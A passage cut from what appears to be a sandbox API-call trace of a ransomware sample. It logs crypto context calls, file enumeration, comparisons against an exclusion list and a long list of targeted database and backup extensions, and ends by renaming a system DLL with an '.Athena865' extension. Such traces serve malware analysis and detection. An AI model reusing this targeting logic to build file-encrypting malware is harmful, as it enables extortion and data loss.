(hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.798] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc500, lpName=0x0) returned 0x154 [0110.799] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc500) returned 0x100000 [0110.803] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.804] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.804] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.805] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.805] CloseHandle (hObject=0x154) returned 1 [0110.805] CloseHandle (hObject=0x17c) returned 1 [0110.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.806] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2=".") returned 1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="..") returned 1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="windows") returned -1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="bootmgr") returned 1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="temp") returned -1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="pagefile.sys") returned -1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="boot") returned 1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="ids.txt") returned 1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="ntuser.dat") returned -1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="perflogs") returned -1 [0110.806] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="MSBuild") returned 1 [0110.806] lstrlenW (lpString="mshwLatin.dll") returned 13 [0110.806] lstrcpyW (in: lpString1=0x241e8ae, lpString2="mshwLatin.dll" | out: lpString1="mshwLatin.dll") returned="mshwLatin.dll" [0110.806] lstrlenW (lpString="mshwLatin.dll") returned 13 [0110.807] lstrlenW (lpString="Athena865") returned 9 [0110.807] lstrcmpiW (lpString1="Latin.dll", lpString2="Athena865") returned 1 [0110.807] lstrlenW (lpString=".dll") returned 4 [0110.807] lstrcmpiW (lpString1="mshwLatin.dll", lpString2=".dll") returned 1 [0110.807] lstrlenW (lpString=".lnk") returned 4 [0110.807] lstrcmpiW (lpString1="mshwLatin.dll", lpString2=".lnk") returned 1 [0110.807] lstrlenW (lpString=".ini") returned 4 [0110.807] lstrcmpiW (lpString1="mshwLatin.dll", lpString2=".ini") returned 1 [0110.807] lstrlenW (lpString=".sys") returned 4 [0110.807] lstrcmpiW (lpString1="mshwLatin.dll", lpString2=".sys") returned 1 [0110.807] lstrlenW (lpString="mshwLatin.dll") returned 13 [0110.807] lstrlenW (lpString="bak") returned 3 [0110.807] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0110.807] lstrlenW (lpString="ba_") returned 3 [0110.807] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0110.807] lstrlenW (lpString="dbb") returned 3 [0110.807] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0110.807] lstrlenW (lpString="vmdk") returned 4 [0110.807] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0110.807] lstrlenW (lpString="rar") returned 3 [0110.807] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0110.807] lstrlenW (lpString="zip") returned 3 [0110.807] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0110.807] lstrlenW (lpString="tgz") returned 3 [0110.807] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0110.807] lstrlenW (lpString="vbox") returned 4 [0110.807] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0110.807] lstrlenW (lpString="vdi") returned 3 [0110.807] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0110.807] lstrlenW (lpString="vhd") returned 3 [0110.808] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0110.808] lstrlenW (lpString="vhdx") returned 4 [0110.808] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0110.808] lstrlenW (lpString="avhd") returned 4 [0110.808] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0110.808] lstrlenW (lpString="db") returned 2 [0110.808] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0110.808] lstrlenW (lpString="db2") returned 3 [0110.808] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0110.808] lstrlenW (lpString="db3") returned 3 [0110.808] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0110.808] lstrlenW (lpString="dbf") returned 3 [0110.808] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0110.808] lstrlenW (lpString="mdf") returned 3 [0110.808] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0110.808] lstrlenW (lpString="mdb") returned 3 [0110.808] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0110.808] lstrlenW (lpString="sql") returned 3 [0110.808] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0110.808] lstrlenW (lpString="sqlite") returned 6 [0110.808] lstrcmpiW (lpString1="in.dll", lpString2="sqlite") returned -1 [0110.808] lstrlenW (lpString="sqlite3") returned 7 [0110.808] lstrcmpiW (lpString1="tin.dll", lpString2="sqlite3") returned 1 [0110.808] lstrlenW (lpString="sqlitedb") returned 8 [0110.808] lstrcmpiW (lpString1="atin.dll", lpString2="sqlitedb") returned -1 [0110.808] lstrlenW (lpString="xml") returned 3 [0110.808] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0110.808] lstrlenW (lpString="$er") returned 3 [0110.808] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0110.808] lstrlenW (lpString="4dd") returned 3 [0110.809] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0110.809] lstrlenW (lpString="4dl") returned 3 [0110.809] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0110.809] lstrlenW (lpString="^^^") returned 3 [0110.809] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0110.809] lstrlenW (lpString="abs") returned 3 [0110.809] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0110.809] lstrlenW (lpString="abx") returned 3 [0110.809] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0110.809] lstrlenW (lpString="accdb") returned 5 [0110.809] lstrcmpiW (lpString1="n.dll", lpString2="accdb") returned 1 [0110.809] lstrlenW (lpString="accdc") returned 5 [0110.809] lstrcmpiW (lpString1="n.dll", lpString2="accdc") returned 1 [0110.809] lstrlenW (lpString="accde") returned 5 [0110.809] lstrcmpiW (lpString1="n.dll", lpString2="accde") returned 1 [0110.809] lstrlenW (lpString="accdr") returned 5 [0110.809] lstrcmpiW (lpString1="n.dll", lpString2="accdr") returned 1 [0110.809] lstrlenW (lpString="accdt") returned 5 [0110.809] lstrcmpiW (lpString1="n.dll", lpString2="accdt") returned 1 [0110.809] lstrlenW (lpString="accdw") returned 5 [0110.809] lstrcmpiW (lpString1="n.dll", lpString2="accdw") returned 1 [0110.809] lstrlenW (lpString="accft") returned 5 [0110.809] lstrcmpiW (lpString1="n.dll", lpString2="accft") returned 1 [0110.809] lstrlenW (lpString="adb") returned 3 [0110.809] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.810] lstrlenW (lpString="adb") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.810] lstrlenW (lpString="ade") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0110.810] lstrlenW (lpString="adf") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0110.810] lstrlenW (lpString="adn") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0110.810] lstrlenW (lpString="adp") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0110.810] lstrlenW (lpString="alf") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0110.810] lstrlenW (lpString="ask") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0110.810] lstrlenW (lpString="btr") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0110.810] lstrlenW (lpString="cat") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0110.810] lstrlenW (lpString="cdb") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0110.810] lstrlenW (lpString="ckp") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0110.810] lstrlenW (lpString="cma") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0110.810] lstrlenW (lpString="cpd") returned 3 [0110.810] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0110.810] lstrlenW (lpString="dacpac") returned 6 [0110.810] lstrcmpiW (lpString1="in.dll", lpString2="dacpac") returned 1 [0110.810] lstrlenW (lpString="dad") returned 3 [0110.811] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0110.811] lstrlenW (lpString="dadiagrams") returned 10 [0110.811] lstrcmpiW (lpString1="wLatin.dll", lpString2="dadiagrams") returned 1 [0110.811] lstrlenW (lpString="daschema") returned 8 [0110.811] lstrcmpiW (lpString1="atin.dll", lpString2="daschema") returned -1 [0110.811] lstrlenW (lpString="db-journal") returned 10 [0110.811] lstrcmpiW (lpString1="wLatin.dll", lpString2="db-journal") returned 1 [0110.811] lstrlenW (lpString="db-shm") returned 6 [0110.811] lstrcmpiW (lpString1="in.dll", lpString2="db-shm") returned 1 [0110.811] lstrlenW (lpString="db-wal") returned 6 [0110.811] lstrcmpiW (lpString1="in.dll", lpString2="db-wal") returned 1 [0110.811] lstrlenW (lpString="dbc") returned 3 [0110.811] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0110.811] lstrlenW (lpString="dbs") returned 3 [0110.811] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0110.811] lstrlenW (lpString="dbt") returned 3 [0110.811] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0110.811] lstrlenW (lpString="dbv") returned 3 [0110.811] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0110.811] lstrlenW (lpString="dbx") returned 3 [0110.811] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0110.811] lstrlenW (lpString="dcb") returned 3 [0110.811] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0110.811] lstrlenW (lpString="dct") returned 3 [0110.811] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0110.811] lstrlenW (lpString="dcx") returned 3 [0110.811] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0110.811] lstrlenW (lpString="ddl") returned 3 [0110.811] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0110.811] lstrlenW (lpString="dlis") returned 4 [0110.812] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0110.812] lstrlenW (lpString="dp1") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0110.812] lstrlenW (lpString="dqy") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0110.812] lstrlenW (lpString="dsk") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0110.812] lstrlenW (lpString="dsn") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0110.812] lstrlenW (lpString="dtsx") returned 4 [0110.812] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0110.812] lstrlenW (lpString="dxl") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0110.812] lstrlenW (lpString="eco") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0110.812] lstrlenW (lpString="ecx") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0110.812] lstrlenW (lpString="edb") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0110.812] lstrlenW (lpString="epim") returned 4 [0110.812] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0110.812] lstrlenW (lpString="fcd") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0110.812] lstrlenW (lpString="fdb") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0110.812] lstrlenW (lpString="fic") returned 3 [0110.812] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0110.812] lstrlenW (lpString="flexolibrary") returned 12 [0110.812] lstrcmpiW (lpString1="shwLatin.dll", lpString2="flexolibrary") returned 1 [0110.812] lstrlenW (lpString="fm5") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0110.813] lstrlenW (lpString="fmp") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0110.813] lstrlenW (lpString="fmp12") returned 5 [0110.813] lstrcmpiW (lpString1="n.dll", lpString2="fmp12") returned 1 [0110.813] lstrlenW (lpString="fmpsl") returned 5 [0110.813] lstrcmpiW (lpString1="n.dll", lpString2="fmpsl") returned 1 [0110.813] lstrlenW (lpString="fol") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0110.813] lstrlenW (lpString="fp3") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0110.813] lstrlenW (lpString="fp4") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0110.813] lstrlenW (lpString="fp5") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0110.813] lstrlenW (lpString="fp7") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0110.813] lstrlenW (lpString="fpt") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0110.813] lstrlenW (lpString="frm") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0110.813] lstrlenW (lpString="gdb") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.813] lstrlenW (lpString="gdb") returned 3 [0110.813] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.813] lstrlenW (lpString="grdb") returned 4 [0110.813] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0110.813] lstrlenW (lpString="gwi") returned 3 [0110.814] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0110.814] lstrlenW (lpString="hdb") returned 3 [0110.814] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0110.814] lstrlenW (lpString="his") returned 3 [0110.814] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0110.814] lstrlenW (lpString="ib") returned 2 [0110.814] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0110.814] lstrlenW (lpString="idb") returned 3 [0110.814] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0110.814] lstrlenW (lpString="ihx") returned 3 [0110.814] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0110.814] lstrlenW (lpString="itdb") returned 4 [0110.814] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0110.814] lstrlenW (lpString="itw") returned 3 [0110.814] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0110.814] lstrlenW (lpString="jet") returned 3 [0110.814] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0110.814] lstrlenW (lpString="jtx") returned 3 [0110.814] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0110.814] lstrlenW (lpString="kdb") returned 3 [0110.814] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0110.814] lstrlenW (lpString="kexi") returned 4 [0110.814] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0110.814] lstrlenW (lpString="kexic") returned 5 [0110.814] lstrcmpiW (lpString1="n.dll", lpString2="kexic") returned 1 [0110.814] lstrlenW (lpString="kexis") returned 5 [0110.814] lstrcmpiW (lpString1="n.dll", lpString2="kexis") returned 1 [0110.814] lstrlenW (lpString="lgc") returned 3 [0110.814] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0110.815] lstrlenW (lpString="lwx") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0110.815] lstrlenW (lpString="maf") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0110.815] lstrlenW (lpString="maq") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0110.815] lstrlenW (lpString="mar") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0110.815] lstrlenW (lpString="marshal") returned 7 [0110.815] lstrcmpiW (lpString1="tin.dll", lpString2="marshal") returned 1 [0110.815] lstrlenW (lpString="mas") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0110.815] lstrlenW (lpString="mav") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0110.815] lstrlenW (lpString="maw") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0110.815] lstrlenW (lpString="mdbhtml") returned 7 [0110.815] lstrcmpiW (lpString1="tin.dll", lpString2="mdbhtml") returned 1 [0110.815] lstrlenW (lpString="mdn") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0110.815] lstrlenW (lpString="mdt") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0110.815] lstrlenW (lpString="mfd") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0110.815] lstrlenW (lpString="mpd") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0110.815] lstrlenW (lpString="mrg") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0110.815] lstrlenW (lpString="mud") returned 3 [0110.815] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0110.816] lstrlenW (lpString="mwb") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0110.816] lstrlenW (lpString="myd") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0110.816] lstrlenW (lpString="ndf") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0110.816] lstrlenW (lpString="nnt") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0110.816] lstrlenW (lpString="nrmlib") returned 6 [0110.816] lstrcmpiW (lpString1="in.dll", lpString2="nrmlib") returned -1 [0110.816] lstrlenW (lpString="ns2") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0110.816] lstrlenW (lpString="ns3") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0110.816] lstrlenW (lpString="ns4") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0110.816] lstrlenW (lpString="nsf") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0110.816] lstrlenW (lpString="nv") returned 2 [0110.816] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0110.816] lstrlenW (lpString="nv2") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0110.816] lstrlenW (lpString="nwdb") returned 4 [0110.816] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0110.816] lstrlenW (lpString="nyf") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0110.816] lstrlenW (lpString="odb") returned 3 [0110.816] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.816] lstrlenW (lpString="odb") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.817] lstrlenW (lpString="oqy") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0110.817] lstrlenW (lpString="ora") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0110.817] lstrlenW (lpString="orx") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0110.817] lstrlenW (lpString="owc") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0110.817] lstrlenW (lpString="p96") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0110.817] lstrlenW (lpString="p97") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0110.817] lstrlenW (lpString="pan") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0110.817] lstrlenW (lpString="pdb") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0110.817] lstrlenW (lpString="pdm") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0110.817] lstrlenW (lpString="pnz") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0110.817] lstrlenW (lpString="qry") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0110.817] lstrlenW (lpString="qvd") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0110.817] lstrlenW (lpString="rbf") returned 3 [0110.817] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0110.817] lstrlenW (lpString="rctd") returned 4 [0110.817] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0110.817] lstrlenW (lpString="rod") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0110.818] lstrlenW (lpString="rodx") returned 4 [0110.818] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0110.818] lstrlenW (lpString="rpd") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0110.818] lstrlenW (lpString="rsd") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0110.818] lstrlenW (lpString="sas7bdat") returned 8 [0110.818] lstrcmpiW (lpString1="atin.dll", lpString2="sas7bdat") returned -1 [0110.818] lstrlenW (lpString="sbf") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0110.818] lstrlenW (lpString="scx") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0110.818] lstrlenW (lpString="sdb") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0110.818] lstrlenW (lpString="sdc") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0110.818] lstrlenW (lpString="sdf") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0110.818] lstrlenW (lpString="sis") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0110.818] lstrlenW (lpString="spq") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0110.818] lstrlenW (lpString="te") returned 2 [0110.818] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0110.818] lstrlenW (lpString="teacher") returned 7 [0110.818] lstrcmpiW (lpString1="tin.dll", lpString2="teacher") returned 1 [0110.818] lstrlenW (lpString="tmd") returned 3 [0110.818] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0110.818] lstrlenW (lpString="tps") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0110.819] lstrlenW (lpString="trc") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.819] lstrlenW (lpString="trc") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.819] lstrlenW (lpString="trm") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0110.819] lstrlenW (lpString="udb") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0110.819] lstrlenW (lpString="udl") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0110.819] lstrlenW (lpString="usr") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0110.819] lstrlenW (lpString="v12") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0110.819] lstrlenW (lpString="vis") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0110.819] lstrlenW (lpString="vpd") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0110.819] lstrlenW (lpString="vvv") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0110.819] lstrlenW (lpString="wdb") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0110.819] lstrlenW (lpString="wmdb") returned 4 [0110.819] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0110.819] lstrlenW (lpString="wrk") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0110.819] lstrlenW (lpString="xdb") returned 3 [0110.819] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0110.820] lstrlenW (lpString="xld") returned 3 [0110.820] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0110.820] lstrlenW (lpString="xmlff") returned 5 [0110.820] lstrcmpiW (lpString1="n.dll", lpString2="xmlff") returned -1 [0110.820] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll.Athena865") returned 74 [0110.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.athena865"), dwFlags=0x1) returned 1 [0110.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 